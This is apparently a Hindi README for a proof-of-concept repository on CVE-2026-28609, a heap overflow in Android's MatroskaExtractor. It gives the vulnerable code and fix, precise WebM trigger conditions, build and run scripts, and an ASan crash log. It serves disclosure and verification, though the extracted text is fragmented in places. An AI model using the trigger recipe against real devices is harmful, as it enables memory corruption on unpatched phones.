
CVE-2026-28609 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और इंस्ट्रुमेंटेड रिप्रोडक्शन हार्नेस, जो Android के MatroskaExtractor में एक आउट-ऑफ-बाउंड्स राइट है, जिसे बिग-एंडियन PCM ऑडियो ट्रैक वाली एक तैयार की गई WebM फ़ाइल के माध्यम से पहुँचा जा सकता है।
CVE-2026-28609 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, इंस्ट्रुमेंटेड रिप्रोडक्शन हार्नेस, और तकनीकी राइट-अप, जो Android के MatroskaExtractor में एक आउट-ऑफ-बाउंड्स राइट है, जो बिग-एंडियन PCM ऑडियो ट्रैक वाली एक तैयार की गई WebM फ़ाइल के माध्यम से पहुँचा जा सकता है।
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppAndroid के MatroskaExtractor में MatroskaSource::read() में एक
PCM बिग-एंडियन बाइट-स्वैप लूप है जो frame->range_offset() जोड़ने से पहले एक फ़्रेम डेटा पॉइंटर को
uint16_t * में कास्ट करता है, जो एक बाइट ऑफ़सेट है।
चूँकि uint16_t * पर C पॉइंटर अरिथमेटिक ऑफ़सेट को
sizeof(uint16_t) = 2 से स्केल करता है, परिणामी पॉइंटर बफ़र के आरंभ से
2 * range_offset बाइट्स आगे होता है, न कि range_offset बाइट्स।
जब range_offset > 0 होता है, तो लूप फ़्रेम के MediaBuffer के अंत से एक या अधिक बाइट्स
पढ़ता और लिखता है। ASan के बिना किसी डिवाइस पर
ओवर-रीड चुपचाप सफल हो जाता है और ओवर-राइट बफ़र के ठीक बाद वाले बाइट को
भ्रष्ट कर देता है।
कमज़ोर पंक्ति:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
अपस्ट्रीम फिक्स ऑफ़सेट लागू करने से पहले पॉइंटर को uint8_t * में कास्ट करता है:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
CVE-2026-28609 के लिए एक कार्यशील, पुनरुत्पादनीय ट्रिगर, जिसे एक वास्तविक Android 14 डिवाइस पर AddressSanitizer के अंतर्गत सत्यापित किया गया है। रिपॉज़िटरी में शामिल हैं:
range_offset के साथ कमज़ोर ब्रांच में ले जाता है।dlopen के माध्यम से एक्सट्रैक्टर प्लगइन लोड करता है,
GETEXTRACTORDEF को इनवोक करता है, और फ़ाइल से फ़्रेम पढ़ता है।एक कमज़ोर डिवाइस पर परिणाम:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
कमज़ोर ब्रांच के लिए निम्नलिखित सभी सत्य होना आवश्यक है:
| शर्त | स्रोत |
|---|
पहले तीन ट्रैक को कोडेक ID A_PCM/INT/BIG और बिट डेप्थ 16 के साथ घोषित करके
संतुष्ट किए जाते हैं। चौथा दिलचस्प है।
range_offset को केवल MatroskaSource::setWebmBlockCryptoInfo() में गैर-शून्य मान पर सेट किया जाता है,
जिसे readBlock() से इस शर्त के अंतर्गत कॉल किया जाता है:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
इसलिए ट्रिगर फ़ाइल को निम्नलिखित को संतुष्ट करना होगा:
mIsWebm — EBML DocType एलिमेंट "webm" होना चाहिए, न कि
"matroska"।mEncrypted — ट्रैक को ContentEncodings को ContentEncodingType = 1 (Encryption) और
एक ContentEncKeyID के साथ घोषित करना चाहिए।0x1) 0 हो, जो दर्शाता है कि फ़्रेम
अनएन्क्रिप्टेड है लेकिन कंटेंट-एन्कोडेड है। यह setWebmBlockCryptoInfo में else ब्रांच लेता है,
जो set_range(1, len - 1) को कॉल करता है।स्ट्रिप के बाद, प्रत्येक फ़्रेम के लिए range_offset = 1 होता है। कमज़ोर
ब्रांच तब (uint16_t *)data + 1 की गणना करता है, जो 2 बाइट्स आगे बढ़ता है,
और लूप बाइट्स [2, 2 + range_length) पढ़ता/लिखता है — 65-बाइट आवंटन (64-बाइट फ़्रेम + 1-बाइट
सिग्नल) के अंत से एक बाइट आगे।
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
सिग्नल बाइट 0x00 को set_range(1, 64) द्वारा हटा दिया जाता है, जिससे 65-बाइट आवंटन के अंदर
एक 64-बाइट फ़्रेम रह जाता है। कमज़ोर पॉइंटर
अरिथमेटिक तब बाइट ऑफ़सेट 2 से 65 पर लिखता है।
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
अपस्ट्रीम निर्भरताएँ, जिन्हें बिल्ड से पहले उपयोगकर्ता द्वारा क्लोन किया जाता है:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash, python3, make हों$ANDROID_NDK_HOME के माध्यम से सेट करेंPATH पर adb (Linux, या WSL से adb.exe)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
यदि आपका AOSP ट्री मॉड्यूलर एक्सट्रैक्टर लेआउट
(av/media/module/extractors/mkv/) का उपयोग करता है, तो किसी और समायोजन की आवश्यकता नहीं है।
यदि यह पुराने लेआउट (av/media/libstagefright/matroska/) का उपयोग करता है,
तो MKV वेरिएबल के लिए बिल्ड स्क्रिप्ट्स देखें।
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
ANDROID_API को अपने लक्ष्य डिवाइस से मेल खाने के लिए सेट करें (उदाहरण के लिए, Android 14 के लिए
34)।
./scripts/run.sh
run.sh स्क्रिप्ट चार चरणों को क्रम में निष्पादित करती है:
build_foundation.sh — av/media/module/foundation/ और
av/media/module/metadatautils/ से 28 स्रोत फ़ाइलों को
plugin-asan/libstagefright_foundation_asan.a में कंपाइल करता है।build_plugin.sh — MatroskaExtractor.cpp,
mkvparser.cc, mkvreader.cc को कंपाइल करता है और उन्हें आर्काइव के साथ
libmkvextractor_asan.so में लिंक करता है।build_harness.sh — harness_c_abi को -shared-libsan के साथ कंपाइल करता है।poc.mkv को
पर पुश करता है और हार्नेस चलाता है।बिल्ड स्क्रिप्ट्स अनुपस्थित इन्क्लूड रूट्स की स्वतः खोज करती हैं। जब
कंपाइलर fatal error: 'X' file not found रिपोर्ट करता है, तो स्क्रिप्ट
निर्भरता ट्रीज़ में खोजती है, X की पैरेंट डायरेक्टरी ढूँढती है, और
इसे include_dirs.conf में जोड़ देती है। यही कारण है कि पहले बिल्ड के दौरान include_dirs.conf
बढ़ता है। एक बार सभी हेडर खोज लिए जाने के बाद, फ़ाइल स्थिर हो जाती है और बाद के बिल्ड डिटरमिनिस्टिक होते हैं।
एक कमज़ोर डिवाइस पर, हार्नेस उत्पन्न करता है:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
तीन संख्याएँ ट्रिगर की पुष्टि करती हैं:
WRITE of size 2 (या READ, जब ASan पहले data[i] = ntohs(data[i]) के रीड आधे हिस्से को पकड़ता है)65-byte region — फ़्रेम आवंटन 64 डेटा बाइट्स और
1-बाइट एन्क्रिप्शन सिग्नल है0 bytes after — एक्सेस आवंटन के ठीक बाद वाले पहले बाइट पर पड़ता हैsetWebmBlockCryptoInfo में पार्टीशन्ड एन्क्रिप्शन पथ (सिग्नल
बाइट 0x03) की आवश्यकता होगी, जिसका इस जनरेटर द्वारा उपयोग नहीं किया जाता।/data/local/tmp के बाहर कुछ भी स्पर्श नहीं किया जाता।
प्लगइन केवल हार्नेस प्रोसेस द्वारा लोड किया जाता है।जनरेटर में एक वेरिफायर अंतर्निहित है। पुश करने से पहले इसे चलाएँ:
python3 exploit/generator.py poc.mkv
अपेक्षित:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
प्रत्येक आवश्यक फ़ील्ड की जाँच की जाती है: DocType, TrackType, CodecID,
BitDepth, Channels, ContentEncodingType, ContentEncodingScope,
ContentEncAlgo, और ContentEncKeyID। यदि कोई फ़ील्ड गलत है, तो
जनरेटर FAIL के साथ बाहर निकलता है और विशिष्ट बेमेल प्रिंट करता है।
| तारीख | घटना |
|---|---|
| 2026-03-02 | Google द्वारा CVE आरक्षित |
| 2026-09-08 | Android Security Bulletin में सार्वजनिक प्रकटीकरण |
| 2026-09-09 | LineageOS lineage-20.0 में फिक्स मर्ज (change 497992) |
यह रिपॉज़िटरी पूर्णतः रक्षात्मक सुरक्षा अनुसंधान और भेद्यता सत्यापन के लिए प्रकाशित की गई है। यह निम्नलिखित के लिए अभिप्रेत है:
इस कोड का उपयोग उन डिवाइसों पर न करें जो आपके स्वामित्व में नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है। हार्नेस को ऐसे डिवाइस पर चलाना जो आपका नहीं है, या वितरण के लिए ट्रिगर फ़ाइलें बनाने के लिए जनरेटर का उपयोग करना, आपके अधिकार क्षेत्र में कंप्यूटर दुरुपयोग कानूनों और GitHub की स्वीकार्य उपयोग नीति का उल्लंघन कर सकता है।
लेखक दुर्भावनापूर्ण उद्देश्यों के लिए इस अनुसंधान के उपयोग का समर्थन नहीं करता। जनरेटर द्वारा उत्पन्न ट्रिगर फ़ाइल AddressSanitizer के अंतर्गत एक विशिष्ट फ़ंक्शन को क्रैश करने के लिए डिज़ाइन की गई है; इसमें कोई निष्पादन योग्य पेलोड नहीं है, सिस्टम को संशोधित नहीं करती, और हार्नेस प्रोसेस से आगे तक बनी नहीं रहती।
कोई वारंटी प्रदान नहीं की जाती। कोड यथावत प्रदान किया गया है। लेखक दुरुपयोग या उत्पादन हार्डवेयर पर हार्नेस चलाने से होने वाली क्षति के लिए कोई दायित्व स्वीकार नहीं करता।
यदि आप एक विक्रेता हैं और मानते हैं कि इस रिपॉज़िटरी में ऐसी सामग्री है जिसे समन्वित प्रकटीकरण के अंतर्गत संभाला जाना चाहिए, तो एक इश्यू खोलें और लेखक 72 घंटे के भीतर जवाब देगा।
यह प्रोजेक्ट Apache-2.0 लाइसेंस के अंतर्गत जारी किया गया है। पूरा पाठ देखने के लिए LICENSE देखें।
Copyright © 2026 — the CVE-2026-28609 PoC contributors.
क्लोन करने के बाद इसे include_dirs.conf में बदलें। यह बीज है। बिल्ड स्क्रिप्ट्स पहले रन के दौरान इसे बढ़ाती हैं।
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sampleक्लोन करने के बाद इसे build.conf में बदलें।
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DIS
| ट्रैक PCM है | mType == PCM |
| बिग-एंडियन | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16-बिट सैंपल | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
फ़्रेम में गैर-शून्य range_offset है | set_range(offset, ...) द्वारा सेट |
/data/local/tmp| 2026-09 | यह PoC विकसित और एक वास्तविक डिवाइस के विरुद्ध सत्यापित |